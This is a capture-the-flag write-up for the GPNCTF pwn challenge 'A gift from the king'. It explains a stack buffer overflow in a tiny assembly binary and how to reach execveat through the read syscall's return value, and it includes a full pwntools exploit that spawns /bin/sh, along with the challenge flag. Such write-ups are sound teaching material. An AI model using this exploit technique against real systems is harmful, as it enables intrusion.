A gift from the king.
Category: pwn
Solver: t0b1, c0mpb4u3r, nh1729
Flag: GPNCTF{new_stuff_and_constraints_a29kd33}
Writeup
Challenge setup
The challenge consists of an x86_64
assembly file gift.s
and supporting Makefile
and Dockerfile
.
We have access to the input and output of the compiled assembly via TCP, the flag is in the file /app/flag.txt
The challenge binary has only two functions and no linked libraries:
.section .text
.global _start
read_input:
# Read 314 bytes + 16 free bytes from stdin to the stack
sub $314, %rsp # Make room for the input
mov $0, %rax # System call number for read
mov $0, %rdi # File descriptor for stdin
mov %rsp, %rsi # Address of the stack
mov $330, %rdx # Number of bytes to read
syscall # Call the kernel
add $314, %rsp # Restore the stack pointer
ret
_start:
# Print the message to stdout
mov $1, %rax # System call number for write
mov $1, %rdi # File descriptor for stdout
mov $message, %rsi # Address of the message string
mov $message_len, %rdx # Length of the message string
syscall # Call the kernel
call read_input
# Exit the program
mov $60, %rax # System call number for exit
xor %rdi, %rdi # Exit status 0
xor %rsi, %rsi # I like it clean
xor %rdx, %rdx # I like it clean
syscall # Call the kernel
message: .asciz "Today is a nice day so you get 16 bytes for free!\n"
message_len = . - message
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
The read_input
can overflow a stack buffer of size 314 with 330 bytes, hence the “16 bytes for free”, setting us up for a 2-pointer ROP chain. Since this is no PIE, we can use gadgets from the tiny binary.
Solution
To read the file, we need to execute some syscalls, either to open the file and sendfile
it to stdout
, or to read to a buffer and write back to stdout
.
To run any syscall other than write
and exit
, we need to change the rax
register to the syscall number, set up the argument registers and return to one of the syscall
instructions.
Because rax
is not popped from the stack, we have to get creative to set it. Stepping through the program in GDB, we see that rax
changes after the syscall
in read_input
.
It is not only the syscall number for syscalls but also the return value.
Therefore, we can call any syscall by sending its syscall number bytes:
def solve(r: remote, exe: ELF):
r.send(flat{
314: exe.sym['read_input']; # Set rax as byte length
314+8: exe.sym['read_input']+31, # syscall; add rsp, 314; ret
})
input('Press enter to send second payload')
r.send(b'X') # set rax to 1: SYS_WRITE
r.interactive()
In GDB we can see that SYS_write
was indeed called and we tried to write the buffer back into stdin
.
We are somewhat restricted in which values we can put into the registers for syscall arguments.
Register | Argument # | range |
---|---|---|
rax |
<syscall number> | 1-330 |
rdi |
1 | 0 |
rsi |
2 | rsp (our buffer), we can also walk up the stack |
rdx |
3 | 330 (by read_input ) or 0 (by __start ) |
r10 |
4 | 0 empirically |
Scrolling through the syscall table 1 for X86_64 and looking for syscalls that might accept these parameters and are usefull, we find syscall 322:
int execveat(int dirfd, const char *pathname,
char *const _Nullable argv[],
char *const _Nullable envp[],
int flags);
DESCRIPTION
The execveat() system call executes the program referred to by the combination of dirfd and pathname. It operates in exactly the same way as execve(2), except for the differences described in this manual page.
The arguments argv
and envp
must be either NULL
or valid pointers.
After the read
syscall, we already have rax=<len of payload>
, rdi=0
, rsi=<out buffer>
and r10=0
. Only rdx=330
is still wrong.
Conveniently, the “cleanup” at _start + 0x30
clears it and immediately executes the syscall
instruction. Therefore, we just need to place the path to the executable we want to run at the start of out buffer and place _start + 0x30
at the return address, which happens to requre exactly 322 bytes.
Exploit
from pwn import *
BINARY_NAME = './gift'
def solve(r: remote, exe: ELF):
# SYSCALL(SYS_STUB_EXECVEAT, STDIN, "/bin/sh", NULL, NULL)
r.send(flat({
0: '/bin/sh\0',
314: exe.sym['_start'] + 48, # xor %rdx, %rdx; syscall
},
length = 322, # places 322 (SYS_STUB_EXECVEAT) in RAX; This happens to be exactly 314+8
))
r.interactive()
def conn():
if args.REMOTE:
r = remote("chained-to-the-rhythm--katy-perry-5393.ctf.kitctf.de", "443", ssl=True)
# r = remote('localhost', 1337)
elif args.GDB:
gdbscript = '''
c
'''
r = gdb.debug(context.binary.path, gdbscript=gdbscript)
else:
r = process(context.binary.path,)
return r
def main():
exe = ELF(BINARY_NAME)
exe.address = 0x400000
context.binary = exe
r = conn()
solve(r, exe)
r.close()
if __name__ == '__main__':
main()